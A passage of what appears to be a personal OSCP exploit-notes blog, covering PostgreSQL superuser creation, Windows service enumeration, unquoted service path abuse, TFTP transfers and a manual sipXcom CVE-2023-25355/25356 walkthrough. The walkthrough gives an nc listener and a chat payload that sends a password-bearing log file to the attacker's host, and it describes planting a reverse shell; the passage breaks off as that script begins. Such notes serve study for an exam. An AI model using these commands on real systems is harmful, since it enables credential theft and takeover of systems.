postgres&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Or use a connection string&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo /usr/bin/psql &amp;#34;postgresql:///postgres?user=postgres&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CREATE ROLE root WITH SUPERUSER LOGIN;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo psql -U postgres&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="76windows-services"&gt;&lt;a href="#76windows-services" class="header-anchor"&gt;&lt;/a&gt;76.Windows Services&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# CMD commands&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sc query # Query basic information for all services&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sc query state=all # Query services in every state&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sc qc &amp;lt;SERVICE_NAME&amp;gt; # Query detailed configuration for a specific service&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sc stop &amp;lt;SERVICE_NAME&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sc start &amp;lt;SERVICE_NAME&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Identify the service process&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tasklist | findstr GPGService&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Stop it&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;taskkill /F /IM GPGService.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# PowerShell commands&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-Service # View all services&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-Service | Where-Object {$_.Status -eq &amp;#34;Running&amp;#34;} # View running services&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-Service -Name &amp;#34;SERVICE_NAME&amp;#34; # View a specific service&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# List all services and filter key information&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sc query state= all | find /i &amp;#34;SERVICE_NAME&amp;#34; # First obtain all service names&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Then iterate over each service name and query its configuration&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for /f &amp;#34;tokens=4 delims=: &amp;#34; %i in (&amp;#39;sc query state^= all ^| find /i &amp;#34;service_name&amp;#34;&amp;#39;) do @sc qc %i | find /i &amp;#34;BINARY_PATH_NAME&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Or find services running as LocalSystem&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for /f &amp;#34;tokens=4 delims=: &amp;#34; %i in (&amp;#39;sc query state^= all ^| find /i &amp;#34;service_name&amp;#34;&amp;#39;) do @sc qc %i | find /i &amp;#34;SERVICE_START_NAME&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-WmiObject win32_service | Select-Object Name, PathName, StartName&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sc query type= service | findstr /i &amp;#34;dev&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="77windows-dllexe-search-order-exploitation"&gt;&lt;a href="#77windows-dllexe-search-order-exploitation" class="header-anchor"&gt;&lt;/a&gt;77.Windows DLL/EXE Search-Order Exploitation&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;When a service path contains spaces and is unquoted, Windows searches for executables in this order:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CopyC:\Skylar.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Skylar\Development.exe # This is why the exploit succeeded!&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Skylark\Development Binaries.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Skylark\Development Binaries 01.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Skylark\Development Binaries 01\DevService.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;In this case:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The service path is: C:\Skylark\Development Binaries 01\???????.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;When Windows encounters an unresolvable filename (?????), it searches in the order above&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Development.exe was placed in C:\Skylark\&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This matches the second location in the search order&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Key vulnerability conditions:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The path contains spaces&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The path is not quoted&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows automatically resolves the path&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="78tftp-udp"&gt;&lt;a href="#78tftp-udp" class="header-anchor"&gt;&lt;/a&gt;78.TFTP (UDP)&#10;&lt;/h3&gt;&lt;p&gt;I&amp;rsquo;d used this service on VulnHub before but never took notes. The catch is that there is no command like &lt;code&gt;dir&lt;/code&gt;, so finding files is entirely guesswork.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Enter TFTP interactive mode&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tftp 192.168.214.222 69&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# In interactive mode:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;binary # Set binary transfer mode&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;get file # Download a file&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;put file # Upload a file&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Download a file&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;atftp -g -r filename 192.168.214.222 69&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Upload a file&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;atftp -p -l localfile 192.168.214.222 69&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Download a file&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tftp 192.168.214.222 -c get remotefile.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Upload a file&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tftp 192.168.214.222 -c put localfile.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Configuration file&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat /etc/xinetd.d/tftp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://nmap.org/nsedoc/scripts/tftp-enum.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nmap -sVU -p69 --script tftp-enum 192.168.214.222&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/share/metasploit-framework/data/wordlists/tftp.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="79coredial-sipxcom-sipxopenfire-cve-2023-25355-cve-2023-25356-rceexp"&gt;&lt;a href="#79coredial-sipxcom-sipxopenfire-cve-2023-25355-cve-2023-25356-rceexp" class="header-anchor"&gt;&lt;/a&gt;79.CoreDial sipXcom sipXopenfire CVE-2023-25355 CVE-2023-25356 RCE/EXP&#10;&lt;/h3&gt;&lt;p&gt;This was a really interesting exploit, but getting it to work was an incredibly rough ride. I barely managed to finish this part with help from Discord and Claude. Maybe it only felt interesting once everything was finally done; while I was learning it, I felt like my brain was turning to mush. I was completely lost during the exploitation process and got stuck here for a day and a half. Every step forced me to stop and think, and nothing worked, over and over again. I didn&amp;rsquo;t yet have a solid grasp of the exploit itself, so every failed reproduction made things worse. Fortunately, I solved it in the end. If everything had gone smoothly, I probably wouldn&amp;rsquo;t remember it this well or understand it this deeply. Searching Google for this application turned up nothing but CVE numbers; hardly anyone seemed to be working on the actual exploit.&lt;/p&gt;&#10;&lt;p&gt;First, the key reference: &lt;a class="link" href="https://sploitus.com/exploit?id=1337DAY-ID-38254" target="_blank" rel="noopener"&#10; &gt;https://sploitus.com/exploit?id=1337DAY-ID-38254&lt;/a&gt;. This is the only blog post I found that explains how the vulnerability works.&lt;/p&gt;&#10;&lt;p&gt;I never found this post through search. I asked around on Discord, but every link people gave me had already been deleted, so the original was gone. This is a backup hosted on another site, and I&amp;rsquo;ve downloaded a local copy. That was one of the wrong turns I took: the Discord links never opened, and at first I assumed that was simply how it was, only to realize later that the pages had been removed.&lt;/p&gt;&#10;&lt;p&gt;That post is the thread running through this entire exploit and contains almost everything you need. If you want to automate the exploitation, you can try &lt;a class="link" href="https://github.com/AlexLinov/sipXcom-RCE" target="_blank" rel="noopener"&#10; &gt;https://github.com/AlexLinov/sipXcom-RCE&lt;/a&gt;.&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;m doing this manually precisely because the automated approach didn&amp;rsquo;t work. Next I&amp;rsquo;ll break down how I reproduced the vulnerability. (Because of the OSCP NDA, a lot of the screenshots will be heavily redacted.)&lt;/p&gt;&#10;&lt;p&gt;First, you need credentials. A low-privileged user is enough; where you get them is up to you.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0003.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0004.zh.gif" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Make sure you can log in. Run Pidgin as a non-root user and specify the target IP and port. This is another key point. I&amp;rsquo;m not sure whether it actually matters, but once I had corrected all of this, the exploit worked.&lt;/p&gt;&#10;&lt;p&gt;Make sure you can log in. Run Pidgin as a non-root user and specify the target IP and port. This is another key point. I&amp;rsquo;m not sure whether it actually matters, but once I had corrected all of this, the exploit worked.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0005.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0006.zh.gif" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0007.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0008.zh.gif" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Log in as the low-privileged user. The blog explains that you can create a user yourself by clicking &lt;code&gt;create this new account on the server&lt;/code&gt;, but I didn&amp;rsquo;t use that option here.&lt;/p&gt;&#10;&lt;p&gt;If you need to go through a proxy, don&amp;rsquo;t add extra configuration; configuring the proxy unnecessarily can actually make it hang. One tip: if Pidgin freezes with no response after you close and reopen it, run &lt;strong&gt;rm -rf ~/.purple/&lt;/strong&gt; to delete its configuration, then open it again.&lt;/p&gt;&#10;&lt;p&gt;If a pop-up appears, click &lt;code&gt;accept&lt;/code&gt;, or you won&amp;rsquo;t be able to proceed. You also have to fill in &lt;code&gt;Domain&lt;/code&gt;, and the corresponding domain and IP must be added to the hosts file; otherwise, the client may not be able to locate the server.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0009.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0010.zh.gif" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The green indicator is what confirms a successful connection. Anything else means something is wrong with the configuration, possibly including the networking software.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0011.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0012.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Fill this in to add a chat contact. You can even enter your own account; once it&amp;rsquo;s filled in, click &lt;code&gt;add&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0013.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;If nothing appears after adding it, look at the screenshot above and check every option. Only two were selected by default for me. You need all of them enabled to see every user, including people who haven&amp;rsquo;t accepted the contact request and users who are offline.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0014.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0015.zh.gif" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Double-click the icon to open the chat window, then build the payload.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;First, listen on local port 80&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nc -lvnp 80&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Enter the following in the chat box&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;@call abc -o /tmp/dummy -d @/opt/openfire/logs/sipxopenfire-im.log http://192.168.xx.xx/abc&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0016.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0017.zh.gif" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;If everything goes as expected, you&amp;rsquo;ll get the result shown above. The file contains passwords because it stores chat logs, which may hold something useful, such as an administrator password. Just inspect the contents.&lt;/p&gt;&#10;&lt;p&gt;Once you&amp;rsquo;ve found the administrator password, you can build the exploit. The idea is to use an operation that overwrites &lt;code&gt;/etc/init.d/openfire&lt;/code&gt;. When sipXopenfire restarts, it reloads the configuration and invokes the shell script inside it, leading to RCE. One line contains the reverse-shell command; remember to change the IP and port.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 10&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 11&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 12&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 13&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 14&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 15&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 16&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 17&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 18&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 19&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 20&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 21&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 22&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 23&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 24&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 25&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 26&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 27&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 28&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 29&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 30&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 31&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 32&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 33&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 34&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 35&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 36&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 37&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 38&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 39&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 40&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 41&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 42&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 